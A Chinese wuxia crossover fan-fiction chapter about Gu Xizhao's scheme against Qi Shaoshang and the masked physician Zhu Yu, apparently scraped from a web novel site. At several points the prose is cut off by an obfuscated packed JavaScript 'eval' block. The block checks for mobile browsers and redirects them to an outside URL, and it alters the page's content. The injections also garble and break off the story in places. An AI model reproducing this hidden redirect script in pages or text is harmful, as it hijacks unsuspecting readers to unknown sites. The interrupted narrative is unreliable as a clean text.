《[综武侠]说正派谁是正派》 1. 逆水寒 顾惜朝是当朝丞相傅宗书的义子。 傅宗书令他潜入连云寨,获得戚少商信任后尽可能消灭他的力量,与其他人一同联手杀了他。 这些事情顾惜朝都完成地很好。 他砍了戚少商一条胳膊,让不得已重伤逃走,他杀了坚定支持戚少商连云寨关键几人,比如赛诸葛阮明正,以利诱之,策反了几人,比如金蛇枪孟有威,最后戚少商身边寨主兄弟仅余老四穆鸠平一人。 他知道朝廷方面傅宗书还会派遣人手来继续追杀戚少商,但顾惜朝不愿将先一步的功劳让给别人,也不愿在对付戚少商时自己损失太多人手,九现神龙戚少商的能耐,顾惜朝从不敢小觑。 所以他意图把戚少商往日得罪过的敌人都叫来,把他逼入死路,肯定有不少人愿意痛打落水狗。 首先是西南方的碎云渊毁诺城,毁诺城的城主是息红泪,人称女关公的息大娘。 毁诺城势力不小,一直未犯朝廷,傅宗书有意拉拢招揽,才一直没有人对付毁诺城。据说息红泪建立毁诺城就是为了同戚少商作对。顾惜朝知道的更多一些。戚少商早年负了她,她三次行刺无果,后创建毁诺城,戚少商若是落在她手里,绝对是死路一条。 其次是江南霹雳堂雷家的雷卷。戚少商出身雷门,是雷卷一手栽培出来的人才。原本雷家想在虎尾溪一带发展自己的势力,故而派了雷家五虎将,然而戚少商却不甘心于只受雷家所用,上了连云寨,当上了连云寨的大寨主。他这么一闹,雷家势力计划出现了缺口,也可以说是把雷卷给狠狠得罪了。 不过在顾惜朝看来,雷卷不一定会杀戚少商。他可能会想要杀了戚少商,甚至把握时机,灭了连云寨,重新搭建雷家的势力,但他也可能会以德报怨,重新重用他,以此来收服人心,叫戚少商为他卖命。 但这还远远不够。 “……大当家的让我们把戚少商已穷途末路的消息不仅透露给息大娘,告诉雷家五虎将,还特意再去飞鱼塘沈家跑一趟,息大娘和雷家我懂,这两边都是戚少商得罪过的人物,飞鱼塘沈家又是怎么一回事?” 霍乱步不解。他一向懂得在适时的时候发问,好让顾惜朝体现出他作为领袖的智慧,但这一次他确实没能明白沈家与此事的关联。 顾惜朝道:“戚少商确实没得罪过沈家,可沈家跟另一个与戚少商有仇的人关系匪浅。如果那个人得知戚少商落难的消息,一定会赶来踩他一脚的。” “大当家的意思是……” “外号神仙难救的祝余祝难救,他救过沈家家主,沈家一向对他恭敬有加,江湖上都知道他跟戚少商之间水火不容,只要沈家得到了消息,没理由不告诉他。” 神仙难救的人祝余却可救得,故而江湖上知道他的人常称他祝难救,意思是若是得了什么疑难杂症便可去找祝余,再难救的人祝余都能给治回来。不过要想让祝余出手救人,除了他随心而为自己愿意治的人以外,其他找上门去求他治病要比登天还难,所以也有说祝余很难出手救人的含义在里面。 听了顾惜朝的话,冯乱虎了然,随即道:“祝余祝公子医术高超,能治好原本被称为药石无医的重病和伤势,即使是神仙难救的人,遇见他也可救得,所以江湖上给他起的外号便是神仙难救。他不仅医术高,自己武功也不差,就是听说性格不太好。” “他性格如何跟我们也没什么关系,只要跟戚少商有仇,是敌人的敌人就行。”宋乱水截口道。 “祝难救曾两度袭杀戚少商,这事我略有耳闻,听说是戚少商拈花惹草,在外风流时睡了他的女人,也不知道是真是假。” 顾惜朝摇摇头,纠正霍乱步的话:“何止两回,只是那两度袭杀是他亲自动手,还有至少四回他派人来杀过戚少商,然而都没成功。那些都是曾经得过祝难救恩惠,被他治疗过,或者亲友被治好的,祝难救要他们报恩,他们自然会来。在他们说明原委后,戚少商也不杀他们,一一都放了他们,任人离去,戚少商的好名声也有一部分是这些人传开的。” “看来他们之间恩怨确实难消难解。” “不错,所以此番戚少商落难,消息若传到他耳朵里,祝余一定会来的。” 顾惜朝对自己的判断极为自信,他也确实有这个能耐。不然他不至于在傅宗书面前拔得头筹,也不至于在未见过雷卷一面之前便已将其人的行事作风推断得八九不离十,跟文张黄金麟一拍即合,狼狈为奸,确定好安插在神威镖局的钉子福慧双修,约定好了叫李福李慧和高风亮出手的暗号,将雷家五虎将转眼间便除去三个,只剩下雷卷和沈边儿二人。 只可惜即使有如此埋伏,又有黄金麟出手援助,仍然叫悍不畏死的戚少商雷卷一行人逃离了出去。 不过话又说回来,得到这样的结局其实并不令人意外。黄金麟和顾惜朝要的是功名富贵,自然惜命,戚少商和雷卷等人若是不突围出去,那就只有等死的份了。 黄金麟跟顾惜朝带人连忙去追戚少商,他原本带着的囚车不好带上路,只好留下,叫李福李慧带人看着,原地不动等他命令。 福慧双修李氏兄弟原是李鳄泪的养子兼手下,作恶多端,何等威风,好不快活,可不料李鳄泪的势力被四大名捕之一的冷血一手搞砸,若不是见风使舵得快,转而投了文张文大人,现在只怕也地位堪忧。 李慧提议带着队伍和囚车一起隐身密林,背着山石坐下,这样万一有敌人来,也可以敌明我暗,易守难攻。 李福则不大同意,他说万一黄金麟回来找不到他们怎么办。 李慧觉得李福的话甚是荒谬。 “怎会找不到?他看不到我们,我们可看得到他呀!” 李福不喜欢李慧一副讥嘲他的神态,也不觉得这个比自己小半个时辰的弟弟比自己强,生气地道:“好,你这样说,待会若是出事,你可负责得起!” “出事?能出什么事?” 这话不是李福说的,也不是李慧说的,一意识到有外人出现,这对长相相似的双胞胎兄弟也不斗嘴了,他们的手放在剑柄上,一人叫官兵做好准备,一人厉声问道。 “什么人躲躲藏藏的,出来!” 来人轻笑一声,唰地一声反手展开折扇,扇了两下。 “我刚来这里,哪里就扣上了躲躲藏藏的帽子。” “倒是你们,你们二人又是哪位?戚少商在哪,顾惜朝顾公子又在哪,他大老远派人传信告诉我戚少商有难,此等深情厚意,在下实感荣幸。” 只见此人一袭青衫,文人打扮,容貌秀丽,手持折扇,端得是风流墨客的姿态,只是李福李慧定睛一看对方手上折扇写着什么,这四个大字就将原本文人风流的气质毁了个干净。 扇面上龙飞凤舞地写着四个大字。 老子好帅。 一见折扇上的字,再想想江湖传闻,李福李慧对视一眼,心下了然。 江湖上狂妄的人多如牛毛,天下第一的名头引得无数人心驰神往,然而像神仙难救祝余这般整日里拿个折扇说自己很帅的确实罕见。特别是当他的外貌气质其实在旁人看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“铁手?”李福李慧吃了一惊。 四大名捕之一的铁手,囚车里的人居然是他! 四大名捕的名头一拿出来,即使这人现在是他们的阶下囚,奄奄一息,满身是伤,李氏兄弟也跟见了猫的老鼠一样,一时心惊胆战。 不过现在的重点不是铁手为何在这里,而是怎么打发走祝难救。囚车中人身份明了后,李福和李慧望向祝余。 “祝公子,此人身份已明,是六扇门的铁手,与戚少商并无关系。” “好吧,看来戚少商确实不在这里。”祝余话音中带着几分可惜。 正当李福李慧觉得可以将祝余就此打发走,要松一口气的时候,忽然觉得心口一冷。不只是自己,还有自己的兄弟,心口都中了一刀,薄薄的刀锋刺入要害,顷刻间便夺走了他们的性命。 太快了,实在是太快了,二人还未来得及想明白,也什么都没想明白就失去了呼吸。 变故横生,囚车旁守着的官兵不由得慌乱起来。 李福李慧倒下的尸体旁不知道什么时候站着一个人,一个少年,额头上系着一条抹额。他的手里还握着匕首,匕首上的血迹依稀可见。 祝余看向官兵们,轻笑一声。 “还不快跑?” 这话既像是提醒了这些官兵,也打破此时凝重压抑的气氛,官兵们如梦初醒,恍然大悟,忙不迭四散而逃,很快就没了踪影。 见一群人惊作鸟兽散的场景,祝余放声大笑。 2. 相交谈 少年收起短刀,走到囚车旁,取下了黑布,对上铁手黑白分明的眼睛。 铁手惊讶道:“小夏?” 少年平静地应声,替铁手解除束缚,在伤口处撒上药粉,将人从囚车中放出。 铁手又问:“你怎么会在这里?” “与其问他,铁二爷不如问我,还是说我这么大个人杵在这里,铁二爷看不见?” 祝余发出轻笑,可他的言语之间可没有那样轻松,带着几分咄咄逼人的尖刻。 铁手最是宽厚不过的人,即使伤重疼痛,面对祝余这样的态度也没恼,只道:“是在下的不是,只是毕竟小夏是我小师弟,一时情急下难免失了礼数,望祝公子勿恼。” “谁恼了,我才没恼,该恼的人也不是我,哼,我同小夏捕头是路上碰见的,我来寻戚少商,他来做甚我就不得而知了。” 周撷夏对于祝余这般拆台的话语并无反应,接在他之后继续说:“原本我是跟着大师兄他们一路,只是后来分散了,碰巧与祝公子同行,我听似乎二师兄你也在这附近,便来了。” “大师兄竟也来了,你们可是有什么公事在身?” “追捕毒剑周笑笑与他的师妹天姚一凤惠千紫。”周撷夏答道。 “惠千紫杀了不少人,周笑笑也犯下不少灭门的大案,大师兄一直想揭发他的罪状,只是苦于不得空,如今一得空闲便追着他们踪迹而来,路上叫周笑笑的帮手袭击,我便与大师兄他们分开了。” “原来如此。”铁手了然。 周笑笑在江湖上颇有名气,道上也有不少朋友,在刑部没有对他下通缉的情况下,想要抓捕他的确不容易,想来有不少人会被那伪君子的伪装骗倒,转而阻拦无情一行人。 无情不良于行,虽轻功超绝,可长时间赶路还是需要轿子或是轮椅,这就成了他的显著特征,周笑笑和惠千紫只消告诉他们的帮手拦住那个坐轮椅的人就行。 而且江湖人中有不少不惧无情四大名捕之首的威名,自觉高人一等,以武犯禁,信奉朝廷是朝廷,江湖是江湖的一套规矩,认为江湖人杀人无需捕快多管,觉得他们是狗拿耗子,多管闲事。 只是无情显眼,周撷夏未必。这少年人的存在感低得吓人,他不说话,不发出动静的时候如同一道影子,一阵微风,纵使站在人身后也难以被察觉到,正因如此,他才可先一步用短刀刺中李氏兄弟的要害,从背后杀死了这二人。 一旦与无情兵分两路,周撷夏的踪迹便似鱼入大海,消失得无影无踪,就算是极为了解他的无情想要再度找到他也难。因此在遭遇数次阻碍后,周撷夏与无情顺势分开,想来也是无情默许的。 “二爷接下来作何打算?” “我意欲去助戚寨主一臂之力。” 祝余说:“既然如此,我们便一道走吧。” 铁手听说过祝余跟戚少商之间的不对付,祝余一开始的时候也说了,他受顾惜朝邀请而来,想到这里,铁手的语气中多了几分迟疑。 “不知祝公子找到戚寨主之后打算如何?” “这还用问吗?”祝余一挑眉,啪地一声合上扇子。 “我大老远赶过来是为了什么,找到他之后自然如何打算。” “铁二爷无意同行便算了,我也不是会强求别人的人。” 说着,祝余抛过来了一个小药瓶,周撷夏抬手便接住。 “一点药,铁二爷凑合吃吧,我就不在这里浪费时间了,不然这一会功夫,也不知道戚少商跑到哪里去了。” “多谢祝公子。” 祝余背对着他们摆摆手,牵了匹先前士兵落下的马,翻身上去,驾着马便朝一个方向奔去。 周撷夏打开药瓶,在瓶口嗅了嗅,随后把药瓶递给铁手,铁手将药瓶中的药丸倒出来放进嘴里,一口吞下。 “刚才祝公子怎么叫你小夏捕头?” 周撷夏姓周,铁手叫他小夏,是亲昵的称呼,可后面加了个捕头听上去怪不伦不类的,不知道的还以为他姓夏。 周撷夏说:“他自己想这么叫,嘴长在他身上,我也管不着。” “也是,那我们走吧,小夏,去寻戚寨主他们。” 铁手叹了口气,道:“希望我们能先祝公子一步找到戚寨主。祝公子虽然对我们无敌意,但对戚寨主就难说了。他们早年的渊源我也有所耳闻,再加上祝公子还年轻,心性不定,遭逢戚寨主落难之际,也不知他会作何行动。” 周撷夏没有动,他侧头看向树林,扬声道:“什么人?” 这时,四个蒙面人抬着一顶轿子缓缓行了出来。 “阁下是不是铁手?”声音从轿子里传出。 铁手上前一步,将少年护在身后,随后道:“在下正是,不知阁下……” 那人截口道:“本想着来助你一臂之力,如今看来倒是我多虑了。” “你放了戚少商等人,虽说是犯了法,抓你也无可厚非,可他们若要押你回京师便了,这般折磨你,也真是只有下三滥才会做出的行径。是黄金鳞,鲜于仇、冷呼儿那些个东西干的罢?” “正是。” “哼,那些个狗贼。” 轿中人冷哼一声,又开口了,不过这回语气缓和了不少。 “虽然说为了救铁手情有可原,可你到底年轻,日后除非不得不做,情非得已,还是要手下留情,莫要枉造杀孽。杀人杀多了,心也会累,也会麻木,你还年轻,莫要因为这些不值得的下三滥移了性情。” “谢前辈教诲,在下谨记在心。” 轿中人句句真心实意,皆是为这年轻人的未来着想,铁手听着,也觉得是金玉良言,在周撷夏之后,他也行礼道了声谢。 “是非之地,不再多客套了,今日我无恶意,改日见面,说不定就要杀你们了,速速离去吧。” “好,就此别过,后会有期。” 周撷夏扶着铁手上了马,自己也纵身上马,绝尘而去。 待距离远了些,周撷夏冷不丁开口道:“此番戚少商怕是难善了。” “何出此言,可是你觉得祝公子……?” “不,是刚才那轿子。” “轿中人如何不知, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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铁手在马背上,听着风带来少年不急不缓道来所思所想的声音,沉默了半晌,道:“或许这话不应该我问,我也并非当事人,只是世叔不敢问,我和四师弟看在眼里,心中也是担忧,四师弟更是不敢多提此事,我想大师兄此番特意带你一同出门追捕周笑笑想来也是想带你换换心情。小夏,自那以后,你可是还在怨?” “不怨。” 他回答得毫不犹豫,干脆利落。 “世叔于我家,于我皆有恩,先是替我爹翻案,保住了他的身后名,又尽心治好了我的病,叫我得以习武,后又调教我们兄弟两个武功,深恩难报。” “我不曾怨,也不愿怨,兄长为权为利投身傅相麾下,做尽恶事,负了世叔一片好意,如今……如今他已谢去尘缘,我应当是为他感到高兴才是。” 停顿了一会,周撷夏的声音才又传来。 “我说怎么最近都没碰上过四师兄,神侯府就那么大,我还当他是太忙了,原来……我叫大家担心了吗,倒是我的不是了。” 铁手温声道:“别这么说,你自己能想开便好,若是有什么想法,不必顾忌什么,只管找世叔、找我们讲便可。” 3. 变故起 自诸葛正我将周撷夏兄长身死一事告知他后,铁手是第一个将此事再度提起的人。 这个温厚的君子不愿见周撷夏与诸葛正我和冷血之间生出芥蒂。 不光是他,无情也一样,无情的担忧比起铁手来只增不减,只是无情的做法要更加隐晦和细腻,他自己并不提及周觅青的死,只是寻常的时候叫年纪相仿的四剑僮多去找几回少年人,这次追捕毒剑周笑笑他也带上了周撷夏。 铁手虽然出言安慰,却也知此事并不是他一句话两句话便能有结果的。 周父周母死后,在诸葛正我向这对兄弟伸出援手之前,一直是周觅青和周撷夏二人一同生活,只是在搬来诸葛府邸后,在旁人看来,周氏兄弟的关系并不亲密。 周觅青一向不怎么耐得下性子看顾周撷夏,似他这般的少年天才傲气得很,心里满是功成名就,哪里管得了重病缠身卧床静养的幼弟。在周撷夏于诸葛正我身边治病期间,无情都比他要更像周撷夏的兄长。 然而世间万事,有情皆孽,心非木石岂无感,吞声踯躅不敢言,是与非,对与错,正与邪,又哪里是那么轻而易举便能分得清楚明白的。 戚少商自己也说不明白。 当年顾惜朝主动来投奔他,与他歃血为盟,成为结义兄弟,戚少商惜才,为他另设大当家的位置,与他生死同心,共度危难。 在顾惜朝杀害连云寨那些忠于戚少商的寨主以前,戚少商一直能将自己的后背托付给他。他们私下里关系也很是不错,把酒言欢,谈天说地,无所不聊。 在闲聊时,顾惜朝便提及了祝余祝难救,他问戚少商为什么会一直容忍这个脾气古怪的大夫找他的麻烦,他们结仇的原因究竟是什么,戚少商是否真的抢了他的女人之类的问题。 戚少商与红颜知己分分合合,他一向认为红粉知己是英雄豪杰的点缀,对于他究竟有没有跟祝余争女人一事,戚少商自己也不能给出完全肯定的答案。但他能回答顾惜朝的头一个问题。 因为他觉得祝余是个好人,是一个治病救人的好大夫。 现在顾惜朝背叛了他,让他付出惨痛的代价,断了一臂,死伤无数兄弟,如今不得不为了生死存活而狼狈逃亡。 “雷卷雷老总是你的兄弟不假,不过我也不是只请了雷老总,戚少商,你的朋友不少,敌人可也不少。” 顾惜朝叫雷卷一记失神指打断了鼻梁,原本俊朗的脸上裹着白布,看上去很是滑稽。 他有些得意地说道:“我本想迫你进毁诺城,但如今你流年不利,叫我们再度追上,想必在这里了却了你的性命,戚大哥只怕也无怨无悔。” 戚少商说:“我猜到了,你请了祝余对吧。当时他最后一次亲自动手来杀我,想必给你留下了深刻的印象。” “不错,祝难救祝公子当时可真是大手笔,我头一回见有人下了三里路的毒只为了杀你,连我也不幸中了招。而戚大寨主你居然在中着毒的同时躲过了祝余的袭杀,真是不得不令人佩服。” “我记得,当时找人解毒也费了不少功夫,祝余的毒不是谁都能解的。” “你想在此取戚少商的性命,不如先问问我!” 一道女声响起,戚少商先是一怔,转而脸上露出感动和不可置信的表情。 顾惜朝却无他这般闲情逸致,在这道声音响起的同时,一道凌厉的攻击也朝他袭来。秀美的女子持剑出招,剑气如满天纷飞的霜絮,美得惊人,也辣得凌厉。 与他同行的黄金麟也免不了成为被攻击的对象,而且黄金麟发现自己想要接下这攻击相当吃力。朝他袭来的剑势并没有多么毒辣,也没有多么凌厉,相当的清淡,可剑路和招数实在令人捉摸不透,似实非虚,如羚羊挂角,无迹可寻。 既然虚实难辨,飘忽不定,又何来出招抵挡之说?若不是黄金麟战斗经验丰富,内力深厚,硬生生挨了这么一下,若换作旁人,只怕早就送了命。 只见一老妇人持剑,另一手藏在袖中,风吹过的瞬间可见森森白骨,头上没有头发,一张脸上满是伤疤,耳朵缺了半个,眼睛也少了一只,剩下一只眼盯着黄金麟,气势惊人,叫黄金麟压力倍增。 “戚少商本是朝廷要犯,枯梅大师何苦来趟这浑水!” 黄金麟暗暗叫苦,只一眼他便认出这枯瘦的尼姑是谁。除了华山的枯梅大师,还有谁有能使出这样清淡的剑势,用出华山的清风十三式,又还有谁有这样令人印象深刻的模样! 枯梅大师眼皮子抬也不抬,对黄金麟的问话置若罔闻。 “红泪!” 戚少商颇为感动地喊出了那秀美女子的名字。 “红泪,此番能见到你,若只是我个人的事,再来一次让我见到你,我也心甘情愿。” “不许你这样胡说。” 息红泪打断他,嗔怒道。 雷卷和沈边儿这是头一回见息红泪,沈边儿咦了一声,看向雷卷,雷卷朝他摇摇头,他们便不再说话了。 “听闻息大娘与戚少商有不共戴天之仇,如今见这场景,怕是顾某想左了,息大娘仍对戚大哥旧情难忘。”顾惜朝阴恻恻地说。 “那又如何,这是我和他两个人的事,轮不到你顾惜朝一个忘恩负义背叛兄弟的小人来说三道四!只要我息红泪在这,你们就别想再伤他!” 息红泪一击出手,伤顾惜朝不成,也不恋战,飘然落地,挡在戚少商的前面,剑锋直指顾惜朝。 顾惜朝被下了面子,再想到自己曾信誓旦旦在所有人面前说把戚少商逼到毁诺城让息大娘取他项上人头,脸色愈发难看。虽然当时所有人都是这样认为的,可第一个提起此事的是他顾惜朝,而非旁的人。 这样想着,小斧出现在手中,对于息红泪的剑,顾惜朝没打算退。与此同时,他在众人不注意的时候给宋乱水使了个眼色,宋乱水会意,朝他点了点头。 息红泪似乎并没有注意到他们的眉眼官司,脚尖点地,倏然持剑送出,剑尖刺向顾惜朝。 枯梅大师立于黄金麟之前,黄金麟受其气势所制,不敢轻举妄动。 顾惜朝手中小斧一翻,与息红泪的剑身蓦然撞上,斧刃比长剑要厚重几分,顾惜朝一击破了息红泪的力,随后手腕控斧,急促如捣药,朝着剑身劈砍。若是叫顾惜朝这么砍下去,没几次估计剑上便会出现裂纹,息红泪自不会叫他如愿。 手腕一翻,剑身如游蛇,避其斧利,朝顾惜朝手臂划去,朝顾惜朝脖颈划去。 正在顾惜朝与息红泪纠缠之际,宋乱水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15924196|177106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声大喝,手中金瓜锤直奔息红泪而来。那金瓜锤用熟铜打造,足有百来斤重,不说息红泪在对敌顾惜朝,就说息红泪的剑本就是薄细快利,对上金瓜锤也只能避其力道。 “大娘,小心!” 戚少商看见了朝他们奔袭的宋乱水,眼睛蓦地睁大,提剑便要冲上去替她挡住着要命的一击。 可即使如此,戚少商还是来不及。他们之间的距离太远,差一点,只差一点,正当他目眦欲裂时,宋乱水的动作却忽得停住了。 戚少商定睛一看,他的脖颈处不知什么时候缠了几圈绳子,镖头勾住宋乱水的咽喉,随着绳子被拉扯,血花飞溅喷涌而出,发出嗬嗬声响。金瓜锤重重地跌落在地,溅起薄薄尘土。 变化不过一瞬间发生,顾惜朝也被这变故惊了一下。息红泪却专心致志并未受到这事的影响,她抓住机会,在顾惜朝的手臂上划出又深又狠一道伤,依稀可见血肉之中森森白骨。 宋乱水死了,绳镖被扯回去。顺着长绳,戚少商望见了一张端庄秀美的脸,笑容若隐若现,绳子被他收回来,层层套在手腕上,只一眨眼,便掩在袖中不见。动作写意风流,好似写诗作画,挥毫泼墨,在宣纸上勾勒曼妙飘逸的线条。 戚少商第一眼只觉得这脸有几分眼熟,很是亲切。他忍不住又看一眼,这才认出了来者是谁。 “祝公子?!” 他惊讶叫破来者身份。 戚少商并不惊讶于祝余会来,顾惜朝说过,他也有这个预料,这样一个痛打落水狗的好机会,以祝余的性格,绝对不会放过。 他震惊疑惑地是祝余不出现则已,一出手却毫不留情,顷刻便取了顾惜朝得力手下宋乱水的性命。 戚少商这般疑惑,雷卷却了然,他说:“看来即使顾惜朝不找你,祝公子也一样会来。” “不错,还是雷老总看得清楚明白,不像某人,眼珠子嵌在眼眶里跟个玻璃珠子一样当摆设。” 祝余哼了一声。 “卷哥?” 戚少商看向雷卷,希望得到他的解答。 祝余在治病救人方面颇有名气,小雷门也曾请他为雷卷治伤,缓解了雷卷的病痛,只是并未根除病灶,所以雷卷的气色依旧不太好。但戚少商听闻此事后心中仍是感激,这也是他数次不去追究祝余找人杀他的原因之一。 雷卷说:“你这是不识庐山真面目了,少商,你且看看息大娘的长相,再瞧瞧祝公子的模样。” 戚少商的视线来回移动,不光是他,顾惜朝也惊疑不定地看了眼息祝余,又看了眼息红泪。 面如凝脂,眼如点漆,五官秀丽,如姣花照月,放在息红泪的脸上,便是美得惊心动魄,一颦一笑都牵动人心,放在息祝余脸上,多显得有几分雌雄莫辨,风流多情,气质近似赫连小妖,又比赫连小妖多了几分文人墨客的风流潇洒。 “少商,这便是我之前跟你提过的早年离家学艺的弟弟。” 息红泪朝他偏头,笑了一下。 “他之前听闻你负了我的消息,心中气愤,所以几次找你麻烦,我做姐姐的在这里跟你道声歉。” “哪里哪里,是我不对才是。大娘你和祝……息公子对我生气是应该的。”戚少商连连摇头摆手。 4. 祝难救 写着老子好帅的折扇被息祝余唰得一声打开,遮住了半张脸,只留下一双似笑非笑的眼。对于戚少商的话,他不置可否。 顾惜朝语气阴森,他道;“原来是息公子,你们姐弟二人耍弄江湖人还真是一把好手。人人都知道息公子与戚少商不对付,人人都知道息大娘誓要戚少商死,然而事实并非如此。” “耍弄江湖人?你也太看得起自己了,顾公子。被耍到的人只有你而已,可别把别人也算进来。” 息祝余嗤笑一声,手腕一翻,扇子在他手中顺转一圈,随后扇骨一拢,合上折扇。 祝难救说话一向尖刻,不气死人不罢休,顾惜朝心中清楚这一点,但听到这明晃晃看不起他的话后仍脸色难看了几分,脸上的笑容险些没能挂住。 黄金麟、顾惜朝,还有顾惜朝麾下霍乱步和冯乱虎,这四个人算是能排得上号的江湖高手,其他人不过调来的士兵,冲上去也是送死,但人多力量大,蚁多也足以杀象,何况只是身受重伤疲惫不堪的戚少商一行人。 只是黄金麟和顾惜朝忌惮刚来的华山掌门人枯梅大师、毁诺城城主息红泪,以及原姓息的祝难救。 枯梅大师的狠不是说说而已的,她为了退敌曾将手探入沸油中,敌人见之变色,退离华山,然而枯梅大师的一只手也化为了焦骨。 息红泪人美剑辣,在江湖上有女关公之称,潇洒豪爽,经营着庇护众多苦命女子的毁诺城,与众多有权有势的人物皆有交情。 祝难救自不必提,感情用事,不择手段,医毒双绝,叫人恨得牙痒痒的时候也不敢得罪他,毕竟谁也不敢保证自己日后没有伤痛病重需要求着祝难救给他们治病的时候。若是江湖中有明晃晃的黑白之分,那么息祝余便是从容不迫地立于灰色的漩涡中,黑也好,白也罢,于他而言毫无影响。 “黄大人不动,也不下令,可是担心我下毒?” 黄金麟强颜欢笑,“不错,确实担心,黄某也就这一条命,惜命得很。我们只为抓戚少商,枯梅大师,还有息公子和息大娘何须牵扯进来,伤及无辜,就算现在说是萍水相逢路过此地,黄某也觉得在理。” 他是为了完成傅宗书的任务得到傅相赏识而来的,求的是权势富贵升官发财,犯不着一下子得罪众多江湖人物,也犯不着把自己一条命赔进去。 息祝余睨了他一眼,慢条斯理道:“黄大人现在说是与我们萍水相逢路过此地,息某也觉得在理。” 先一步翻脸的是顾惜朝,确切地说他的脸色就没好看过。 他厉声道:“祝余,你别给脸不要脸!” 话音刚落,息祝余一跃而起,手腕一勾,折扇展开,逼近顾惜朝,食指和无名指夹住扇子向前,沿边对着顾惜朝,顾惜朝自不会任由他动作,还没受伤的手持着小斧朝息祝余砍去,小斧并没有砍上息祝余,砍在了一侧的扇柄上。 小斧与扇柄一触即离,扇子被息祝余往空中抛去,他抬腿横扫而去,顾惜朝抬起手臂格挡,这一脚踹上顾惜朝的手臂,息祝余侧身伸手接住落下的扇子。 息祝余手臂一送,手指夹着扇子,沿边朝着顾惜朝的脸划去。顾惜朝后仰,避开扇面,不叫扇子碰到。 谁不知道息祝余这正反两面都写了字的折扇从不离身,上面下了什么毒估计只有息祝余自己知道,顾惜朝可不冒这个风险。 见扇子沿边碰不到顾惜朝,息祝余索性手一甩,将扇子抛出,一阵微风被扇子轻扇飘向顾惜朝。息祝余在空中旋身,落于顾惜朝身后的地上,将扇子复而收回,最后指尖点着扇面,叫折扇旋转了半圈后反手一握,落地的同时叫写着招租广告的一面对着顾惜朝。 “怎么这就恼了,顾公子也太没有涵养了点,这像什么话,不如我来教你在什么时候开口,什么时候闭嘴比较恰当。” 顾惜朝不说话。他也不动,手里握着小斧自然垂下,若不是一双眼睛含着怨毒之色,怕不是要以为息祝余的话语有什么魔力,叫顾惜朝就这么乖顺地听话了。 黄金麟在心中暗自庆幸还好息祝余瞄准得不是他,拉仇恨的是顾惜朝。 江湖传言,祝难救下毒无声无息,往往扇面一转,不知不觉就把毒下好了,所以这一面写着老子好帅,一面写着招租广告的扇子才是他的标志物。当他的敌人,谁近身与他作战谁就是蠢货,这不是上赶着中毒是什么。黄金麟可没那爱好。 “息公子说得是,不如这样,咱们双方各退一步,几位先走,我们就在这里等一会,下次见面各凭本事如何?” “黄大人这话说得大气,不怕我们进了毁诺城就不出来了?” 息红泪笑道。 “那也是息大娘的本事。” “不过黄大人放心,我们不回毁诺城,我们打算走别的道,去别的地方,不然我息红泪何必出来,在毁诺城等他们进来不就好了。” “息大娘的意思我明白,我们不去打扰毁诺城便是。”黄金麟许诺许得爽快至极。 “不知顾公子这情况?” “麻药而已,过个一会就能动了。”息祝余回答。 “那再好不过了。” 顾惜朝是跟他争功的对象,但黄金麟也不能明面上看着他死在这里。傅宗书的义子有很多是一回事,傅宗书想不想义子死又是另一回事。 息红泪先行一步,枯梅大师同戚少商等人一起走,息祝余殿后,黄金麟望着他们离去的背影,浮于表面的笑容瞬间消失。 “这只是权宜之计,黄金麟他们肯定不会善罢甘休的。” 路上,戚少商颇为肯定地道:“这回来杀我的除了黄金麟和顾惜朝,还有骆驼老爷跟神鸦将军,这两个人估计是走了别的路所以刚才没有遇到,他们都是九幽神君的弟子,实力不可小觑。” “看来他们对你相当重视,势在必得啊,戚少商。”息祝余阴阳怪气。 息红泪无奈道:“好了,小弟,消停点。” “除了少商刚才说得这些人以外,还有刘独峰和文张,刘独峰是捕神,六扇门中一把好手,就算是四大名捕也要怕他三分, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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戚少商和雷卷都没听说过有什么有名的捕头姓夏的,见息祝余一副轻松的口吻,也对那位小夏捕头的实力多了几分信任。不过也是,若是没两把刷子,怎么可能杀了福慧双修这对作恶多端的兄弟。 息红泪咳了一声,道:“小弟,你替少商看看他的伤。” “戚少商自己长了眼睛,自己会看。” 这么说着,息祝余还是靠近了戚少商,看起他的断臂伤口。 上次离息祝余这么近还是在上次,息祝余一脸微笑给他下了相当棘手的毒,戚少商只觉浑身不自在,但此时非同以往,息祝余是听息红泪的话来给他看伤的。 戚少商没话找话,“息公子叫什么?咱们相识这么久,我还不知你的姓名。” “我就叫祝余,息祝余。” 息祝余这么说着,利落地拆了戚少商绑着的破绷带,然后手腕一翻,一把小刀出现在他手中割掉了腐肉坏肉,息祝余又往伤口上撒了些药粉,用新的绷带给他包好,随后后退一步,满意地点点头。 “好了。” 整个过程行云流水,然而再怎么行云流水流畅迅速也不能改变他没有给戚少商敷麻药的事实,好在戚少商这段时间流离逃亡也受了不少苦难,他也知道现下的处境,除了抽了几声冷气以外,戚少商再无别的反应,听息祝余说好了,他也脸色苍白地点了点头。 5. 六朝烟 “叫枯梅大师见笑了。” 